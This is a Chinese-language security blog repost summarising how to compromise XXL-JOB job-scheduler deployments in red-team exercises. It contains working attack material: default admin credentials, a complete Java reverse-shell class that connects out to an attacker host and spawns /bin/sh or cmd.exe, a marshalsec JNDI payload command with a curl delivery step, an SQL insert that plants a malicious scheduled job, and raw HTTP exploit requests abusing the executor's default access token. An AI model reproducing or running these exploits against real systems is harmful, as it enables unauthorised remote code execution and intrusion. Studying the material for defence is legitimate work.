干货 | XXL-JOB在真实攻防下的总结

admin 2024年3月4日01:49:17评论20 views字数 6244阅读20分48秒阅读模式

前言

最近在HW中经常会遇到XXL-JOB这个组件,也通过这个组件进入了不少目标单位,那就对该组件的利用进行一次总结。

一、最基本的操作-计划任务命令执行

这个操作我相信大家已经熟的不能再熟了,因为xxl-job的初始化sql语句中设定了默认密码,而且在登入之后不会提示修改默认密码,就造成了xxl-job的默认账号密码为admin/123456。
由于xxl-job本身是任务调度的系统,其可以自然执行命令。通常会反弹shell,再进行后渗透,只需要在新建命令时选择对应的脚本语言,在GLUE IDE中编辑命令,选择执行一次即可。

干货 | XXL-JOB在真实攻防下的总结

干货 | XXL-JOB在真实攻防下的总结

干货 | XXL-JOB在真实攻防下的总结

这种方式有几个容易踩坑的点:

1、选择执行命令的种类与系统不匹配

干货 | XXL-JOB在真实攻防下的总结

因为xxl-job的exector在生产环境中常常跑在docker环境下的linux下,就会造成一个惯性思维:当我们拿到一个xxl-job的往往会先使用shell去执行命令。

干货 | XXL-JOB在真实攻防下的总结

当失败的时候就会以为是环境有问题,打不动。
却不知有时xxl-job也可以跑在Windows下。这时候就可以去执行Powerhshell命令去上线。当然如果比较懒的话可以直接执行java代码来上线。无论Windows和linux都可以反弹shell。

package com.xxl.job.service.handler;

import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.Socket;
public class reverse {
class StreamConnector
extends Thread
{
InputStream hx;
OutputStream il;
StreamConnector(InputStream hx, OutputStream il)
{
this.hx = hx;
this.il = il;
}
public void run()
{
BufferedReader ar = null;
BufferedWriter slm = null;
try
{
ar = new BufferedReader(new InputStreamReader(this.hx));
slm = new BufferedWriter(new OutputStreamWriter(this.il));
char[] buffer = new char[8192];
int length;
while ((length = ar.read(buffer, 0, buffer.length)) > 0)
{
slm.write(buffer, 0, length);
slm.flush();
}
}
catch (Exception localException) {}
try
{
if (ar != null) {
ar.close();
}
if (slm != null) {
slm.close();
}
}
catch (Exception localException1) {}
}
}
public reverse()
{
reverseConn("ip:port");
}
public static void main(String[] args)
{
System.out.println("0");
}
public void reverseConn(String ip)
{
String ipport = ip;
try
{
String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
ShellPath = new String("/bin/sh");
} else {
ShellPath = new String("cmd.exe");
}
Socket socket = new Socket(ipport.split(":")[0],
Integer.parseInt(ipport.split(":")[1]));
Process process = Runtime.getRuntime().exec(ShellPath);
new StreamConnector(process.getInputStream(),
socket.getOutputStream()).start();
new StreamConnector(process.getErrorStream(),
socket.getOutputStream()).start();
new StreamConnector(socket.getInputStream(),
process.getOutputStream()).start();
}
catch (Exception e)
{
e.printStackTrace();
}
}
}

2、反弹shell

在实战中会碰到executor不出网的情况。即执行了反弹shell的命令之后在vps上未收到回显,这时就要去思考executor是否出网或者是注册executor是否失效。
我们可以去执行器中查看其注册方式

干货 | XXL-JOB在真实攻防下的总结

我们去正常来说自动注册的executor是不会出问题的。因为从代码实现来看xxl-job的executor每隔2min就会向adminer发送心跳证明其存活。而自己注册的可能就不一定可以打通。

二、api未授权访问

在xxl-job<=2.0.2的时候api存在未授权访问,有两种方式可以getshell。

1、利用jndi注入去打内存马

这个已经被人讲过好多次了,但是利用的前提就是需要出网,使用marshalsec去生成payload

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://x.x.x.x:1099/aaa > test.ser

再利用curl去发包即可,注意尽量使用linux或者Windows的cmd去发包,实测Windows下powershell发包可能会出现一些问题。

curl -XPOST -H "Content-Type: x-application/hessian" --data-binary @test.ser http://127.0.0.1:8080/xxl-job-admin/api

2、去利用XSLT去注入内存马

这个应该是最好使的方案,Nookipop已经讲过了,在不出网时可以利用XSLT去打入内存马,进行命令执行,打入suo5内存马进行正向代理内网穿透。

三、执行命令注入内存马

这种同样是不出网时才考虑的操作。注入的是agent内存马,这个利用的条件其实也有点苛刻,一般来说xxl-job的executor常常跑在docker环境下或者分布式部署。而要想注入agent类型的内存马就需要admin端和executor跑在一台主机下。方法就是使用echo方法或者java的写入文件的方法将agent内存马写到目标主机上,然后在进行加载。

四、奇技淫巧-从数据库getShell

这也是实战中遇到的一个案例,目标单位存在一个nacos的身份伪造漏洞,获取到了数据库的配置文件,成功的连上了数据库,当然我们可以去尝试udf提权或者猜目录去写马,但我发现数据库中存在xxl_job的数据库,这时候其实就有更多的方法去getshell。

干货 | XXL-JOB在真实攻防下的总结

干货 | XXL-JOB在真实攻防下的总结

这时候通常有两种利用方式:1、获取到xxl-job的密码,登入xxl-job去写计划任务进行命令执行getshell。2、直接通过往数据库里写内容进行getshell。

1、登入xxl-job进行getshell

这种方式通常适用于xxl-job-admin的服务暴露在互联网上。我们可以通过语句select * from information_schema.PROCESSLIST;来判断客户端连接。由于我是在本地跑的环境,这里就是localhost,如果是通过公网ip去连接的数据库,我们就可以定位到其公网ip,扫一下端口即可判断xxl-job-admin是否暴露在公网上了。

干货 | XXL-JOB在真实攻防下的总结

如果暴露在公网上,我们便可以直接利用,xxl-job密码为md5加密,我们首先可以尝试md5解密,解不开的话新增一个用户,密码用md5加密即可。登入成功之后我们便可以通过计划任务进行命令执行了。

干货 | XXL-JOB在真实攻防下的总结

2、通过向数据库中写入数据进行getshell

这是我偶然发现的一个小trick,其实原理很简单,xxl-job-admin会定时从数据库中查询待执行的任务,在一定时间内执行。也就是说,我们只需要往数据库里插入我们构造好的恶意定时任务。他便会让executor去执行。当前测试版本为2.4.1(不同版本的xxl-job的数据库结构不太相同,以最新版的为例,旧版的在之前遇到的环境中经测试也能打通。)
只需要在xxl_job.xxl_job_info中插入这条语句即可。

INSERT INTO `xxl_job`.`xxl_job_info` 
(`id`, `job_group`, `job_desc`, `add_time`, `update_time`, `author`, `alarm_email`, `schedule_type`, `schedule_conf`, `misfire_strategy`, `executor_route_strategy`, `executor_handler`, `executor_param`, `executor_block_strategy`, `executor_timeout`, `executor_fail_retry_count`, `glue_type`, `glue_source`, `glue_remark`, `glue_updatetime`, `child_jobid`, `trigger_status`, `trigger_last_time`, `trigger_next_time`) 
VALUES (7, 1, '22222', '2023-12-27 14:57:36', '2023-12-27 14:58:23', '22222', '', 'CRON', '0/5 * * * * ?', 'DO_NOTHING', 'FIRST', '', '', 'SERIAL_EXECUTION', 0, 0, 'GLUE_POWERSHELL', 'calcn', '12312321', '2023-12-27 14:57:48', '', 0, 1703660320000, 1703660325000);

其中有几个值得关注的点:
schedule_typecorn轮询,0/5 * * * * ?则是计划任务执行的时间我这里设定为5秒1次。executor_handler则是执行命令的类型,我这里因为在Windows下测试,故而选择为powershell,也可变为GLUE_SHELL或者GLUE_GROOVY等来应对不同的命令。目前我们只是插入了命令,并不能执行,要是想执行,还需要在插入数据之后把trigger_status的值改为1,executor便会自动开始执行我们输入的命令。

五、executor未授权访问

xxl-job的executeor存在未授权访问漏洞,指纹如下图所示
低版本

干货 | XXL-JOB在真实攻防下的总结

高版本

干货 | XXL-JOB在真实攻防下的总结

其原因就是admin端与executeor端通过互相发送tcp包进行通信,攻击者可伪造包,使executeor执行命令。

1、2.2.0<=XxlJob<=2.4.0

支持了RESTFUL API,可以直接发送http包伪造
exp

POST /run HTTP/1.1
Host: 192.168.226.1:10999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
XXL-JOB-ACCESS-TOKEN: default_token
Content-Type: application/json
Content-Length: 365

{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_POWERSHELL",
"glueSource": "calc",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}

2、XxlJob >= 2.4.0添加了默认token

作者为了修复该漏洞,添加了默认的token,但是这就如同nacos的jwt秘钥,shiro的默认key一样,由于使用者的粗心大意不修改该key,还是可以被利用
exp

POST /run HTTP/1.1
Host: 192.168.226.1:10999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
XXL-JOB-ACCESS-TOKEN: default_token
Content-Type: application/json
Content-Length: 365

{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_POWERSHELL",
"glueSource": "calc",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}

文章来源: https://xz.aliyun.com/t/13899文章作者:1324419612752959 

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

原文始发于微信公众号(渗透安全团队):干货 | XXL-JOB在真实攻防下的总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月4日01:49:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   干货 | XXL-JOB在真实攻防下的总结http://cn-sec.com/archives/2544255.html

发表评论

匿名网友 填写信息